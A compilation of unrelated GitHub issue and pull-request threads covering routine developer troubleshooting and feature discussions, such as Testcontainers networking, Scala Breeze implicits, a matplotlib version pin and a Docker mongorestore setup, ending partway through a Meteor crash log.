"DNS lookup failure for: host.testcontainers.internal" but only for Generic container

I have successfully managed to access "host.testcontainers.internal" from within a WebDriver containerm using "Testcontainers.exposeHostPorts(...)"
However, when I try to do the same from a generic container (e.g. custom HTTPD) I am getting "DNS lookup failure for: host.testcontainers.internal"
Could this be something missing from generic containers? or am I doing something wrong?
FYI, this problem occurs with Docker server running either on Linux or Windows 10

You need to enable it. See https://www.testcontainers.org/features/networking/

Also note that the port must be exposed before starting the container

Thanks,
I am very well aware of this technique, and as I said I have successfully used it with the WebDriver container.
This time I am using a Generic container running HTTPD and mod_proxy to simulate reverse proxy access to applications runing on test host machine, exposing the test host machine ports using "Testcontainers.exposeHostPorts(...)", just as I did in the past for the WebDriver container.
Therefore, having used the exact same techniques, I can only suspect that Generic container is working differently compared to WebDriver container.
Is my suspicion correct?

My suspicion is finally correct,
any container other than "Generic" understands "Testcontainers.exposeHostPorts(...)" before starting the container and adds the respective entry to "/etc/hosts"
e.g. WebDriver, Nginx
This sounds more like a bug

Cancel the above, my suspicion was wrong.
There are however condition under which "Testcontainers.exposeHostPorts(...)" before starting the container is not adding the respective entry to "/etc/hosts"
I will keep investigating...

I have found the problem.
I was trying to remap the default ports by using "container.withCreateContainerCmdModifier(modifier)" and "HostConfig.newHostConfig()" instead of "command.getHostConfig();" in "modifier" implementation, practically cancelling all the good work "testcontainers" had done.
There is no bug, just my negligence.


Update team members

Fixes #130
Description of changes

Updated to reflect team.json on the frontend
Issue Resolved

Fixes #130

@sethbergman - Unfortunately these rake tasks are for a one time initial db population.  Not for updating.  In order to update the existing members, @rickr would need to make the adjustments manually in prod's db.
Or create a new rake task to account for the changes, but it would be more efficient for @rickr to just make the adjustments.

Sounds good, whatever works. Just reporting what goes on locally when standing up the backend.

New rake task is required.


Automatically settle all trades

Confusion around settlement is probably the number one customer support question that comes constantly comes up. Removing the need to settle would be a huge UX win.
As previously mentioned by @sconybeare,

Settlement can be removed from takes easily
Provides will be more work, since one has to handle the case where a user deletes a token account, in which case the program will have to fallback to a settlement feature

Another reason to do this is for composability. Having to make an extra CPI to settle a trade deducts one's compute budget.

Trade + auto settle features should be a separate API, with frontends updated accordingly. Existing dapps could break if some underlying behaviour changes.


having trouble with checking my programms befor submitting them in cs50 course for python and AI

I have wrote a program for one of the projects in my account which its name is "home_federal_savings_bank". The problem is I face some errors when I entre the checking command (check50 cs50/problems/2022/python/bank ) although I don't observe any error when I run it by my own in VS code. I don't know where the problem is and I appreciate if you help me through this problem. thank you.
my program:
t = input().lower().split()
tt = t[0][0]
if t[0][:5] == 'hello':
print ('$0')
elif t[0] != 'hello' and tt == 'h':
print ('$20')
else:
print ('$100')
output in my own computer:

hello
[output:] >>>$0

result of check50 cs50/problems/2022/python/bank command in code space:
:) bank.py exists
:( input of "Hello" yields output of $0
expected prompt for input, found none
:( input of " Hello " yields output of $0
expected prompt for input, found none
:( input of "Hello, Newman" yields output of $0
expected prompt for input, found none
:( input of "How you doing?" yields output of $20
expected prompt for input, found none
:( input of "What's happening?" yields output of $100
expected prompt for input, found none
:( input of "What's up?" yields output of $100
expected prompt for input, found none

/question

We closed this issue because it is a question about using VS Code rather than an issue or feature request. Please search for help on StackOverflow, where the community has already answered thousands of similar questions. You may find their guide on asking a new question helpful if your question has not already been asked. See also our issue reporting guidelines.
Happy Coding!


Create db utils for common operations related to built-in models

The indexer provides a couple built-in models in use throughout the main indexer loop that may be useful for custom parsers. These include:

Address model
Denom model

We should add utils to help custom parsers/indexers handle these models. These could include:

Find ops
FindOrCreate ops

These models have unique indexes on them, so these will provide useful utils while reducing errors.

This has been pushed along in various PRs, marking this as done.


Drop support for EOL versions of WSL

The Windows Store version of WSL is available for everyone running Windows 10 21H1 or up.
Windows 10 21H1 is EOL since December.
We should remove support for those versions, which will dramatically simplify maintenance.
Things that can be removed once we only support Store WSL:

the installer can be removed, tarball generation substantially rewritten

the purpose of the installer was to workaround a libarchive bug with wsl --import which is resolved on Store
being addressed in #243

Docker native workarounds can be fully removed, the latest Store kernel supports nftables
interpreter magic can be removed in favor of a consistent registration
old tmpfiles workarounds can be dropped (probably more?)
non-native-systemd code can be dropped

all
of
it
gone

maybe more?

Also, pretty much any of those items can be done independently, so PRs are appreciated.

Mostly done for 23.05, still need to kill syschdemd.


Suppress digmiro images when METS exists

Resolves https://github.com/wellcomecollection/wellcomecollection.org/issues/7014

You'd have thought github might reckon that if the only change is to commit your suggestion, you might still approve the review...


friday-juicypixels: disable tests

the tarball from
https://hackage.haskell.org/package/friday-juicypixels-0.1.2/friday-juicypixels-0.1.2.tar.gz
does not include the test/rgba8.png file, which causes the test code to fail
Things done

[x] Tested using sandboxing
(nix.useSandbox on NixOS,
or option build-use-sandbox in nix.conf
on non-NixOS)
Built on platform(s)

[x] NixOS
[ ] macOS
[ ] Linux

[ ] Tested compilation of all pkgs that depend on this change using nix-shell -p nox --run "nox-review wip"
[ ] Tested execution of all binary files (usually in ./result/bin/)
[x] Fits CONTRIBUTING.md.

Could you please this issue upstream to make sure it's fixed in future versions?

Done: https://github.com/TomMD/friday-juicypixels/issues/4

Thank you!


Create the output handler that prints at least test name immediately test is run

All currently used output handlers assume that busted has a chance to shut down properly. This is not the case if the test is triggering lua(jit) bug, uses buggy C modules or has bug in code that uses luajit cffi. The only output handlers that give any information in this case are utfTerminal and plainTerminal, but counting + signs while you don’t know the order of execution of tests is not fun.
I suggest that there must be an output handler that prints at least information that is enough to identify the last test (which triggered a SEGV) immediately. Better if it will print all available information once it is available and have only a summary printed from handler.suiteEnd.

Here's one that seems to do the trick:
return function(options, busted)
  local handler = require 'busted.outputHandlers.utfTerminal'(options, busted)

  handler.testStart = function(element, parent, status, debug)
    io.write('\n' .. handler.getFullName(element) .. ' ... ')
    io.flush()
  end

  busted.subscribe({ 'test', 'start' }, handler.testStart)

  return handler
end

I'm gonna add it to neovim deps until there's a native implementation in busted

This variant also outputs the file name before the tests:
local ansicolors = require 'ansicolors'

return function(options, busted)
  local handler = require 'busted.outputHandlers.utfTerminal'(options, busted)

  handler.fileStart = function(name)
    io.write('\n' .. ansicolors('%{cyan}' .. name) .. ':')
  end

  handler.testStart = function(element, parent, status, debug)
    io.write('\n  ' .. handler.getFullName(element) .. ' ... ')
    io.flush()
  end

  busted.subscribe({ 'file', 'start' }, handler.fileStart)
  busted.subscribe({ 'test', 'start' }, handler.testStart)

  return handler
end

+1

This is already available in the latest version with the gtest output handler

I believe PR #390 and #394 address this issue.


bump privacy-dashboard to 4.3.1

Please review the release process for BrowserServicesKit here.
Required:
Task/Issue URL:
iOS PR:
macOS PR:
What kind of version bump will this require?: Major/Minor/Patch
Optional:
Tech Design URL:
CC:
Description:

Steps to test this PR:
1.
1.

OS Testing:

[ ] iOS 14
[ ] iOS 15
[ ] iOS 16
[ ] macOS 10.15
[ ] macOS 11
[ ] macOS 12

Internal references:
Software Engineering Expectations
Technical Design Template

#904  👈
main

This stack of pull requests is managed by Graphite. Learn more about stacking.

Join @shakyShane and the rest of your teammates on  Graphite


Diverging Implicits with MutableOptimizationSpace Context Bound

We are currently trying to make templatized methods that can operate on various numeric vectors & matrices.
At @dlwh's suggestion we have tried the following:
type BreezeNumeric[T] = MutableOptimizationSpace[DenseMatrix[T], DenseVector[T], T]
def reducePoint[T : BreezeNumeric](x: DenseVector[T], mat: DenseMatrix[T]): DenseVector[T] = {
  (x.t * mat).t
}

But on compilation we are getting a diverging implicits error:
Error:(41, 10) diverging implicit expansion for type breeze.linalg.operators.OpMulMatrix.Impl2[breeze.linalg.Transpose[breeze.linalg.DenseVector[T]],breeze.linalg.DenseMatrix[T],That]
starting with method implOpMulMatrix_DVTt_DMT_eq_DMT in trait DenseMatrixMultiplyStuff
    (x.t * mat).t
         ^

oh, that's different than I thought.
try:

def reducePoint[T : BreezeNumeric](x: DenseVector[T], mat: DenseMatrix[T]):
DenseVector[T] = {

  val ops = implicitly[BreezeNumerics[T]]

  import ops._
  (x.t * mat).t
}

Hopefully you're ok with that much magic?
On Thu, May 7, 2015 at 8:14 PM, Tomer Kaftan<EMAIL_ADDRESS>wrote:

We are currently trying to make templatized methods that can operate on
various numeric vectors & matrices.
At @dlwh's suggestion we have tried the following:
type BreezeNumeric[T] = MutableOptimizationSpace[DenseMatrix[T],
DenseVector[T], T]
def reducePoint[T : BreezeNumeric](x: DenseVector[T], mat:
DenseMatrix[T]): DenseVector[T] = {
(x.t * mat).t
}
But on compilation we are getting a diverging implicits error:
Error:(41, 10) diverging implicit expansion for type
breeze.linalg.operators.OpMulMatrix.Impl2[breeze.linalg.Transpose[breeze.linalg.DenseVector[T]],breeze.linalg.DenseMatrix[T],That]
starting with method implOpMulMatrix_DVTt_DMT_eq_DMT in trait
DenseMatrixMultiplyStuff
(x.t * mat).t
^
—
Reply to this email directly or view it on GitHub.

That works, thanks!. But, now I'm trying to do something more complicated:
def colMeans[T : BreezeNumeric](dataMat: DenseMatrix[T]) = {
  val ops = implicitly[BreezeNumerics[T]]
  import ops._

  val means = (mean(dataMat(::, *))).toDenseVector
}

And I'm getting the following error on compilation:
Error:(56, 22) could not find implicit value for parameter impl: breeze.stats.mean.Impl[breeze.linalg.BroadcastedColumns[breeze.linalg.DenseMatrix[T],breeze.linalg.DenseVector[T]],VR]
    val means = (mean(dataMat(::, *))).toDenseVector
                     ^

Any suggestions on how to get broadcasting to work correctly here too?

Hrm, I don't think anyone's tried broadcasting using these spaces. Let me see what I can do.

if you look at the MutableOptimizationSpace companion object, you'll be able to see all the implicits that are included. I don't believe that broadcasting is one of them, possibly because the CSC Matrix isn't at parity with dense?
Will take a look to cite code locations tomorrow.

@gabeos @dlwh - any further thoughts on this?


Avoid mobile keyboard popup while selecting date

Is there any way to avoid keyboard popup in mobile

If you're triggering it from an input element, just add readonly="true" as attribute to it.
E.g.
<input type="text" readonly="true" ng-model="currentDate" />
Hope this helps.

Thanks for your reply
but i am using like this
<mdp-date-picker name="minMaxDate" onkeypress="return false;" mdp-placeholder=" onward" mdp-min-date="minDate" mdp-format="DD/MM/YYYY"  mdp-open-on-click mdp-max-date="maxDate" ng-model="DepDate" >
 </mdp-date-picker>

Any solution for this

edit the template everywhere you find <input change it by <input readonly="true"
A bit sad that it s not possible to set it as ng-readonly from the directive it self, but I guess it s life ;-)


mixer: randomness in adapters

I think there is a problem with how caching & randomness play out in proxy/adapter integration. Currently, if the adapter wants to utilize a random coin (e.g. failure injection), then we have two choices:

mark x-request-id as referenced, which effectively disables any caching in the proxy
do not mark x-request-id as referenced, which effectively caches the random decision at the proxy,  which in turn means the behavior is not random per request, but per cache expiration duration.

I propose we should generate random bits at the proxy (uniformly, and independently of the request), and send this new coin attribute to Mixer. For example, assuming coin takes a value in the range 0..1000, the adaptor now has a third choice:

mark coin as a referenced attribute, which will apply behavior randomly per request, without sending RPCs for every request.

There are several related ideas that follow up:

coin is useful for debugging / audit of decisions that need randomness
we should ensure the values are truly random at the proxy
it would be useful to cache based on ranges of values, e.g. x < coin <= y.
as a workaround, we can generate a pseudo attribute that is a hash of x-request-id; we would need to implement this special hash interpretation in the proxy

/cc @mandarjog @douglas-reid @geeknoid

Suppose we add such a coin attribute where some decision is based on x <= coin <= y.
It would be much better for the classification to take place on the proxy.  Otherwise a random number
[0...1000] will also exhibit poor caching behaviour.

Do we have any concrete use cases for randomness in policy enforcement at the Mixer level that exist today?  Are there any Check adapters out in the wild that are referencing x-request-id (or similar)?
I agree that there is general utility in having a way to turn "do this for every N/1000 requests". Would like to understand the relative priority however (and how this might overlap with existing networking features).

@douglas-reid
This request was not driven by a concrete use-case, but I anticipate an issue when some sort of request sampling is needed in Mixer, given how we cache decisions in the proxy. We don't have that many Check adapters yet, and I am not aware of one that references individual requests (that seems like a bad pattern anyways).
Fault injection is an obvious case where this would be useful. Networking-style fault injection is stateless, while Mixer can apply a more nuanced policy (e.g. inject a fault for a user in a group on a server-side sidecar).

Not stale.

I'm going to close this issue, as it is not on the near term roadmap, and I don't think this will get addressed before any architectural changes.


Added logic to preserve the structure of a local repo during upload

For the purpose of keras upload integration

For the purpose of keras upload integration

As mod suggested, a better description explaining the PR would be better. See the docs for best practices.
Ex:
Refactored upload to use zip archive.
* Added zip archive functionality for upload
* Added test for ...
* see b/... for more details


useToggle

Explain the feature
A custom toggle that returns a boolean value.

can i work on this feature ?
I was just trying useLocalStorage and saw that it didn't persist the value on page refresh and I fixed your code on my local machine but then i discovered that u already have fixed that issue 4 days ago 😄 .... By the way you are building a great library of utility functions.. 💪🏼 which are really useful in day to day development

Feel free to work on it. You don't have to ask me. Just open a pull request.

@swarup4741 I plan adding you in the @rhymojs organization after a few contributions you make.

Adding the "worked on" label because you are working on it

what should be the functionality of this useToggle ?  Will it return a stateful value and a setState function to toggle between true and false ? (please explain briefly)

Instead of doing something like:
const [toggle, setToggle] = useState(initialState);

// reverse the value
setToggle(previousValue => !previousValue);

You do:
const [state, setState] = useToggle(initialState);

Not a lot but it is shorter.

Or maybe could be useful in a situation like:
const [isDarkTheme, reverseTheme] = useToggle(false);

<button onClick={reverseTheme}>{isDarkTheme ? "Convert to Light theme" : "Convert to Dark theme"}</button>

You get me right? The entire point of this library is avoiding repetitive code. And this achieves it.

Or maybe it could be useful in a situation like:
const [isDarkTheme, reverseTheme] = useToggle(false);

<button onClick={reverseTheme}>{isDarkTheme ? "Convert to Light theme" : "Convert to Dark theme"}</button>

This can be used to make useTheme hook where we can use useLocalStorage to store the current theme

Yes! This library avoids repetitive code and it helps itself not repeat code as well!

Anways, I'll be sleeping now, gonna be looking at your PR tomorrow, good night!

i have passed the test

but still while commit the changes im getting this error

my commit message is Added a new feature - useToggle
can you please help me out with this

you have to follow conventional commits for ypur commit messages

in your case this eouls be "feat: useToggle", which means a a new feature with the name of useToggle

if it still doesn't commit, just push ypur changes to your fork and I'll look at it.

I get it now, since you staged useToggle.ts, the git hook runs yarn test src/useToggle.ts which is not a test. Please push your tests before the feature with the commit message of test: useToggle

Hey, I just implemented a script called test:related which only tests the latest tests, please update your fork.

Thanks for your first contribution!


Exclude matplotlib 3.7 due to incompatible scanpy.

matplotlib just released v3.7, and unfortunately it introduced an incompatibility with scanpy:
https://github.com/scverse/scanpy/issues/2411
Excluding v3.7 works around this issue. This workaround can be removed once scanpy itself excludes v3.7, or if scanpy fixes the root cause.

In trying to figure out why https://github.com/single-cell-data/TileDB-SOMA/pull/928 failed despite not changing anything that would cause that type of failure, I figured that there must have been a dependency change.
So I looked at the output from the pip install -e apis/python step from the failing job to see if there were any new libraries. A new library would not be in the pip cache, so it would have to have been downloaded. The only entry that had a download bar was:
Collecting matplotlib>=3.4
  Downloading matplotlib-3.7.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl (11.6 MB)
     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 11.6/11.6 MB 29.3 MB/s eta 0:00:00

Looking at PyPI, a new version of matplotlib was just released today, so I tried reverting to the previous version and everything built and ran correctly.

FYI: @pablo-gar


Failed Install

Will not deploy master nodes
yum -y install openshift-ansible-roles openshift-ansible-playbooks
not found

Provided github url for OSO, same results

Workaround is to update defaults in openshift.yaml. They could also be provided as env variables
openshift_ansible_git_url:
type: string
description: >
The URL to the git repository with the openshift-ansible templates to
clone.
default: "https://github.com/openshift/openshift-ansible.git"
openshift_ansible_git_rev:
type: string
description: >
The git revision of the openshift-ansible repository to check out to.
default: "prod"

Fixed by PR #33


Crash when open folder

Description
when I try to open any folder, it keeps loading and then the program closes abruptly while an error window appears.
Steps To Reproduce

Open the program
I try to open a folder
remains charging
an error window pops up
the program closes

Expected behavior
to open the folder and show me the files
Files Version
v2.0
Windows Version
Windows 10 Enterprise LTSC
Relevant Assets
debug.log
debug_fulltrust.log

Issue present on 1809, error when debugging is Unable to cast object of type 'Windows.System.DispatcherQueue' to type 'Windows.System.IDispatcherQueue2'.

@23Bluemaster23 this issue should be resolved with #6180.


How to use within Node and Browser

I have downloaded the node source and required the module:
XPath=require('./util/wgxpath');
XPath.install();

it gives no errors.
But now how to evaluate an available DOM and valid structure (supposed to have one within node)?
On a browser I have copied the install file in the Chrome console and the I did
wgxpath.install()

But I cannot see there the .test object
wgxpath.test
undefined

@loretoparisi Have you tried using document.evaluate? wgxpath.test is for testing the library and is not intended to be available.

@Dominator008 ok for document evaluate in the browser, and what happens when in node?

You will need something like "jsdom" for that. Stealing the example from the third-party "node-wgxpath" NPM package: https://github.com/jacobmarble/node-wgxpath#example

@Dominator008 amazing. I have html strings already, and I'm loading into a DOM object with cheerio like:
  var $ = cheerio.load(html);
  var els = $('.content ul li')

so it should work like
var document = cheerio.load(html);
wgxpath.install(document);
var expression = document.createExpression(expressionString);
var result = expression.evaluate(window.document,
wgxpath.XPathResultType.STRING_TYPE);
console.log('The Word of the Day is "' + result.stringValue + '."');

@loretoparisi Care to send a PR? :)

@Dominator008 sure will do.

@loretoparisi https://github.com/jacobmarble/node-wgxpath#example hasn't been updated with 1.3.0. I have a pull request out as https://github.com/jacobmarble/node-wgxpath/pull/4 but it hasn't been merged yet.

@Dominator008 thanks!
Since the pull request is already open, you can also update the example with the right expression:
var url = 'http://www.merriam-webster.com/word-of-the-day';
var expressionString = '//*[@class="word-and-pronunciation"]/h1';
jsdom.env({
    url: url,
    done: function(errors, window) {
        wgxpath.install(window);
        var expression = window.document.createExpression(expressionString);
        var result = expression.evaluate(window.document,
            wgxpath.XPathResultType.STRING_TYPE);
        if (result.stringValue.length <= 0)
        console.log('Failed to get the word of the day.');
        else
        console.log('The Word of the Day is "' + result.stringValue + '."');

    }
});


What's the Difference

What's the difference between calling Promise.resolve(func()) and Promise.promisify(func)?

Promise.resolve(func()) converts the result of func into a promise and Promise.promisify(func) returns a function that, when called, will return promises


http->https redirect

Configures traefik to redirect by default http to https if tls is enabled.
Replaces #246
Fixes #177

this entails that traefik won't route http requests anymore without upgrading them to https.
@simskij we seem to recall that this change was rejected in the past on the grounds that some applications might actually prefer to be routed over http even if https is available. Can you confirm?

this entails that traefik won't route http requests anymore without upgrading them to https. @simskij we seem to recall that this change was rejected in the past on the grounds that some applications might actually prefer to be routed over http even if https is available. Can you confirm?

I think that was expressed in the context of end-to-end TLS, where we can't necessarily guarantee that everything being routed by traefik supports TLS for the communication between traefik itself and the workload. As for the ingress, upgrading to TLS when configured is in my eyes a reasonable decision.


Add migration tests

Adds tests for the config migration and fixes a few issues and inconsistencies with the config.
Updated the default unpack config to be empty and apply the default during init. There might be a better solution here to keep the default config showing up in the toml, but need to look more into the way we merge configurations. Currently we always merge the given configuration over the default. When there is a non-empty slice defined as the default, it ends up always appending with our current merge mode.

/retest


Removed explicit return statements from function endings

Hi, thanks for your pull request.
I like the code better with the return explicit.  I think it is easier to read.  I also realize this is not consistent with the rust style guidelines, but oh well.


HDDS-2729. Enable multilingual Hugo features in ozone docs

What changes were proposed in this pull request?
We need to reconfigure hugo to support multilingual site (to support other languages)
https://gohugo.io/content-management/multilingual/
I added three type of fake translations to test the templates of the Hugo.

translation of the main page
translation of a section (concept)
translation of a page (concept / datanode)

The fake translation pages can be removed later or replaced during the translation process.
The name "Mandarin" can be replaced with the proper Chinese characters in the follow-up patches (config.yaml in the hadoop-hdds/docs folder)
What is the link to the Apache JIRA
https://issues.apache.org/jira/browse/HDDS-2729
How was this patch tested?
cd hadoop-hdds/docs
hugo serve
firefox localhost:1313

You should see a "mandarin" text on the top right corner which points to the translated page

Thanks @elek for the patch, LGTM.

LGTM, +1. I will merge it shortly.


Update location of nginx_module

In latest passenger versions location of nginx module has changed:
https://github.com/phusion/passenger/tree/release-5.0.19

The location of the nginx module changed in version 5.0.0, not 5.0.19 — see pull request #392. This will work fine (probably most folks at this point), but I'm not sure why you wouldn't set the version check to 5.0.0.
Interestingly, I'd made an almost identical fix to this one just a few weeks prior, but forgot to submit a pull request — great minds think alike, as they say over here. https://github.com/whatcould/nginx/commit/db5349c

Maybe I'm missing something, but checking the passenger repo can see the change of nginx module source location in 5.0.19 release, not before:
https://github.com/phusion/passenger/commit/b75a701e815a336e06211e751f7f6ed2decd5785

Sorry! I must have been checking the 5.0 stable branch or something, alambike is right.

This has been rolled into #422

This particular issue has been pulled into the chef_nginx cookbook 2.8.0 release. The chef_nginx cookbook is a fork of this cookbook with many of the outstanding issues in the 2.7.6 release resolved. The release is backwards compatible with this cookbook outside of the name change, which obviously requires updating runlist and and metadata dependencies. I'd highly suggest giving it a try to see if this resolves you nginx cookbook woes.
https://github.com/chef-cookbooks/chef_nginx
https://supermarket.chef.io/cookbooks/chef_nginx#changelog

This
passenger_module = node['nginx']['passenger']['root']

should be
passenger_module = node['nginx']['passenger']['root'].dup

Otherwise you're overriding the passenger root in passenger.conf.

Not sure what you mean — that node in the hash isn't passed by reference in Ruby, so `node['nginx']['passenger']['root'] is not changed. If this didn't work many of my passenger apps would be broken!
Also, this is (apparently) an unmaintained fork — new version is https://github.com/chef-cookbooks/chef_nginx

I ended up with:
passenger_root /usr/local/rvm/gems/ruby-2.3.1/gems/passenger-5.1.2/src/nginx_module;

instead of
passenger_root /usr/local/rvm/gems/ruby-2.3.1/gems/passenger-5.1.2;

Because the patch mutates the value of node['nginx']['passenger']['root'].
But I tried to use this patch with an older version of the cookbook because we can't upgrade due to different dependencies.

Thanks for opening this PR. With the merge of the chef_nginx codebase back into the nginx cookbook I believe it’s no longer necessary. I’m going to close this out now, and I hope you can check out the massive changes that landed on master here #435


Get to 90% precision

An engineer at A2I said that would be the minimum he'd consider shippeable.

I thought about this a little bit more. To make the classifier useful in practice, it should have 90% precision (not accuracy). Then it's just a question of how far you can push the recall while maintaining precision. If the tags are all independent, you can tune that for each tag separately. - Dirk

@nasa-petal/contributors

https://github.com/orgs/nasa-petal/teams/contributors/discussions/1


Docker Newbie question: How to run shell script in docker file (post startup)

I'm trying to run a mongorestore command as part of my docker file.  I'm thinking that this should be a pretty straight forward thing to do.
Here's my docker file:
FROM mongo:latest
RUN mongodump -h xxxxxx -u xxxxx -p xxxxxx --ssl --sslAllowInvalidCertificates -d xxxxx --gzip --archive=DbArchive.archive
EXPOSE 27018:27017
ENV AUTH no
ENV JOURNALING no
RUN mkdir -p /usr/src/db
COPY ./*.sh /usr/src/db/
RUN chmod +x /usr/src/db/restoreDb.sh
#CMD /bin/sh ./usr/src/db/restoreDb.sh
Here's my restoreDb.sh script
sleep 60
mongorestore --archive=DbArchive.archive --gzip --db xxxxxxx
Anyone have any ideas on how to get this to work?  I'm just trying to run my mongorestore after the mongo db has started.
When I execute the following scripts I get the following error message:
2017-07-25T00:05:48.352+0000 Failed: error connecting to db server: no reachable servers

Have you tried /docker-entrypoint-initdb.d/?  It was added in https://github.com/docker-library/mongo/pull/145.  I still consider it experimental (which is why it is not documented), but it should work similar to mysql and postgres.

Closing, since /docker-entrypoint-initdb.d is the appropriate solution to this problem. :+1:


New projects throws Unable to find Microsoft.Maui.Graphics with version (>= 6.0.100-preview.5.213)

Upon close inspection on Nuget Package manager on visual studio "Microsoft.Maui.Graphics" show version "6.0.100-preview.4.158+sha.bfceaf9-azdo.4797686" maybe that's the problem same goes for "Microsoft.Maui.Graphics.Win2D.WinUI.Desktop"
Edit: wait version "6.0.100-preview.5.213" is not available on nuget package how to create new MAUI project then? should I downgrade all other packages to "6.0.100-preview.4.158"?
Edit 2: There is no previous version for MAUI how do I get started?

Did you CHECK "Include prerelease" at the top of Nuget window (next to the Search text box)?


BUG - Input with utf8 chars

When we enter utf8char with input.interact_text(), the behavior is buggy, the cursor moves in not accurate do to a bad string length calculation.
The tail length is realized with tail.len() (bytes count where 1 utf8 char = 2 bytes) instead of tail.chars().count()
I have proposed a  PR) in order to fix this issue.
I'm a Rust developer for a relatively short time, so me bug analysis may be wrong or incomplete ;-)
Regards,
Sebastien

How to reproduce with this simple test program,
enter the input "aaaaaa" and after insert a "é" in the middle of the string.
The output is correct, but the display is wrong.
use dialoguer::{theme::ColorfulTheme, Input};

fn main() {
    let color_binding = ColorfulTheme::default();
    let value: String = Input::with_theme(&color_binding)
        .with_prompt("Enter parameter")
        .report(false)
        .allow_empty(false)
        .interact_text().unwrap();

    println!("{}", value);
}


Your application is crashing. Waiting for file change.

It seems like LesionTracker is broken in git/master.
Steps:
$ git status
On branch master
Your branch is up-to-date with 'origin/master'.
nothing to commit, working tree clean

gives me:
$ METEOR_PACKAGE_DIRS="../Packages" meteor --settings ../config/orthancDICOMWeb.json
[[[[[ /tmp/Viewers/LesionTracker ]]]]]

=> Started proxy.

Unable to resolve some modules:

  "loglevel" in /tmp/Viewers/LesionTracker/client/log.js (web.browser)

If you notice problems related to these missing modules, consider running:

  meteor npm install --save loglevel

Unable to resolve some modules:

  "loglevel" in /tmp/Viewers/LesionTracker/client/log.js (web.browser.legacy)

If you notice problems related to these missing modules, consider running:

  meteor npm install --save loglevel

=> A patch (Meteor <IP_ADDRESS>) for your current release is available!
   Update this project now with 'meteor update --patch'.
=> Started MongoDB.
W20181114-13:52:28.105(1)? (STDERR) Note: you are using a pure-JavaScript implementation of bcrypt.
W20181114-13:52:28.127(1)? (STDERR) While this implementation will work correctly, it is known to be
W20181114-13:52:28.128(1)? (STDERR) approximately three times slower than the native implementation.
W20181114-13:52:28.128(1)? (STDERR) In order to use the native implementation instead, run
W20181114-13:52:28.128(1)? (STDERR)
W20181114-13:52:28.128(1)? (STDERR)   meteor npm install --save bcrypt
W20181114-13:52:28.128(1)? (STDERR)
W20181114-13:52:28.129(1)? (STDERR) in the root directory of your application.
W20181114-13:52:28.129(1)? (STDERR) /tmp/Viewers/LesionTracker/.meteor/local/build/programs/server/boot.js:475
W20181114-13:52:28.129(1)? (STDERR) }).run();
W20181114-13:52:28.129(1)? (STDERR)    ^
W20181114-13:52:28.129(1)? (STDERR)
W20181114-13:52:28.129(1)? (STDERR) Error: The @babel/runtime npm package could not be found in your node_modules
W20181114-13:52:28.130(1)? (STDERR) directory. Please run the following command to install it:
W20181114-13:52:28.130(1)? (STDERR)
W20181114-13:52:28.130(1)? (STDERR)   meteor npm install --save @babel/runtime
W20181114-13:52:28.130(1)? (STDERR)
W20181114-13:52:28.130(1)? (STDERR)     at babel-runtime.js (packages/babel-runtime.js:25:9)
W20181114-13:52:28.130(1)? (STDERR)     at fileEvaluate (packages/modules-runtime.js:322:7)
W20181114-13:52:28.130(1)? (STDERR)     at Module.require (packages/modules-runtime.js:224:14)
W20181114-13:52:28.131(1)? (STDERR)     at require (packages/modules-runtime.js:244:21)
W20181114-13:52:28.131(1)? (STDERR)     at packages/babel-runtime.js:79:15
W20181114-13:52:28.131(1)? (STDERR)     at packages/babel-runtime.js:86:3
W20181114-13:52:28.131(1)? (STDERR)     at /tmp/Viewers/LesionTracker/.meteor/local/build/programs/server/boot.js:411:36
W20181114-13:52:28.131(1)? (STDERR)     at Array.forEach (<anonymous>)
W20181114-13:52:28.131(1)? (STDERR)     at /tmp/Viewers/LesionTracker/.meteor/local/build/programs/server/boot.js:220:19
W20181114-13:52:28.131(1)? (STDERR)     at /tmp/Viewers/LesionTracker/.meteor/local/build/programs/server/boot.js:471:5
=> Exited with code: 1

Unable to resolve some modules:

  "loglevel" in /tmp/Viewers/LesionTracker/client/log.js (web.browser)

If you notice problems related to these missing modules, consider running:

  meteor npm install --save loglevel

Unable to resolve some modules:

  "loglevel" in /tmp/Viewers/LesionTracker/client/log.js (web.browser.legacy)

If you notice problems related to these missing modules, consider running:

  meteor npm install --save loglevel

W20181114-13:52:30.345(1)? (STDERR) Note: you are using a pure-JavaScript implementation of bcrypt.
W20181114-13:52:30.346(1)? (STDERR) While this implementation will work correctly, it is known to be
W20181114-13:52:30.346(1)? (STDERR) approximately three times slower than the native implementation.
W20181114-13:52:30.346(1)? (STDERR) In order to use the native implementation instead, run
W20181114-13:52:30.346(1)? (STDERR)
W20181114-13:52:30.346(1)? (STDERR)   meteor npm install --save bcrypt
W20181114-13:52:30.346(1)? (STDERR)
W20181114-13:52:30.346(1)? (STDERR) in the root directory of your application.
W20181114-13:52:30.347(1)? (STDERR) /tmp/Viewers/LesionTracker/.meteor/local/build/programs/server/boot.js:475
W20181114-13:52:30.347(1)? (STDERR) }).run();
W20181114-13:52:30.347(1)? (STDERR)    ^
W20181114-13:52:30.347(1)? (STDERR)
W20181114-13:52:30.347(1)? (STDERR) Error: The @babel/runtime npm package could not be found in your node_modules
W20181114-13:52:30.347(1)? (STDERR) directory. Please run the following command to install it:
W20181114-13:52:30.347(1)? (STDERR)
W20181114-13:52:30.348(1)? (STDERR)   meteor npm install --save @babel/runtime
W20181114-13:52:30.348(1)? (STDERR)
W20181114-13:52:30.348(1)? (STDERR)     at babel-runtime.js (packages/babel-runtime.js:25:9)
W20181114-13:52:30.348(1)? (STDERR)     at fileEvaluate (packages/modules-runtime.js:322:7)
W20181114-13:52:30.348(1)? (STDERR)     at Module.require (packages/modules-runtime.js:224:14)
W20181114-13:52:30.348(1)? (STDERR)     at require (packages/modules-runtime.js:244:21)
W20181114-13:52:30.348(1)? (STDERR)     at packages/babel-runtime.js:79:15
W20181114-13:52:30.348(1)? (STDERR)     at packages/babel-runtime.js:86:3
W20181114-13:52:30.349(1)? (STDERR)     at /tmp/Viewers/LesionTracker/.meteor/local/build/programs/server/boot.js:411:36
W20181114-13:52:30.349(1)? (STDERR)     at Array.forEach (<anonymous>)
W20181114-13:52:30.349(1)? (STDERR)     at /tmp/Viewers/LesionTracker/.meteor/local/build/programs/server/boot.js:220:19
W20181114-13:52:30.349(1)? (STDERR)     at /tmp/Viewers/LesionTracker/.meteor/local/build/programs/server/boot.js:471:5
=> Exited with code: 1

Unable to resolve some modules:

  "loglevel" in /tmp/Viewers/LesionTracker/client/log.js (web.browser)

If you notice problems related to these missing modules, consider running:

